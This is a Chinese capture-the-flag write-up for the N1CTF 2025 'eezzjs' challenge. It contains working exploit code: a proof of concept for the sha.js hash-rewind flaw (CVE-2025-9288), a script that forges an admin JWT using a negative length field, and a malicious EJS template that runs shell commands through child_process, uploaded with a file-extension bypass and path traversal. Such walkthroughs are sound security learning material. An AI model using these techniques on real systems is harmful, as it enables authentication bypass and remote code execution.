[2025]N1CTF WP
eezzjs
这道题难点在于前半部分鉴权 后半部分在ycb亦有记载 使用/.绕过对js后缀的绕过
思路
有源码,app.js就告诉我们有一个登录路由必须以admin登录,具体校验方式是jwt
以admin身份登陆进去后可以上传文件,function serveIndex会渲染我们的ejs文件,于是我们可以上传恶意的ejs模板文件,从而来执行命令。
鉴权
这一步你自己本地拿附件npm install的时候 他就会提醒你sha.js这个组件存在漏洞。

联网搜索搜到很有特征CVE-2025-9288 https://www.freebuf.com/articles/web/445352.html https://github.com/advisories/GHSA-95m3-7q98-8xr5
这里就引出了一个很新奇的概念:哈希回滚
哈希回滚 = 哈希计算过程中状态意外地回到了之前的某个点,使得后续计算总是从相同状态开始,产生固定结果。
漏洞验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js') const { randomBytes } = require('crypto')
const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)]
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload)
console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])
|
等价
1 2 3 4
| > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
|
回到我们这个题目当中来
我们的jwt的haeder和body都是解密token来获取,所以我们这个jwt格式里的length是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const verifyJWT = (token, secret = JWT_SECRET) => { if (typeof token !== 'string') { return null; }
const parts = token.split('.'); if (parts.length !== 3) { return null; }
const [encodedHeader, encodedPayload, signature] = parts;
let header; let payload; try { header = JSON.parse(fromBase64Url(encodedHeader).toString()); payload = JSON.parse(fromBase64Url(encodedPayload).toString()); } catch (err) { return null; }
|

原理就是我们可以通过控制jwt里面的length类控制这里的变量,这里length是header+secret的长度

下面是生成伪造admin seesion脚本 放在src目录运行
1 2 3 4 5 6 7 8
| const {signJWT, verifyJWT} = require("./auth"); const crypto = require("crypto");
const header = { alg: 'HS256', typ: 'JWT' }; const len = -(JSON.stringify(header).length + 18); token = signJWT({username:"admin", length: len}, crypto.randomBytes(9).toString('hex')) console.log(token) console.log(verifyJWT(token, crypto.randomBytes(9).toString('hex')))
|
拿到session进入/upload 就行

恶意ejs上传
这里后面就是可以上传ejs文件 使用/.绕过就可以了
ejs内容是
1
| <%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
|
这里唯一要注意的点就是需要进行目录穿越

然后
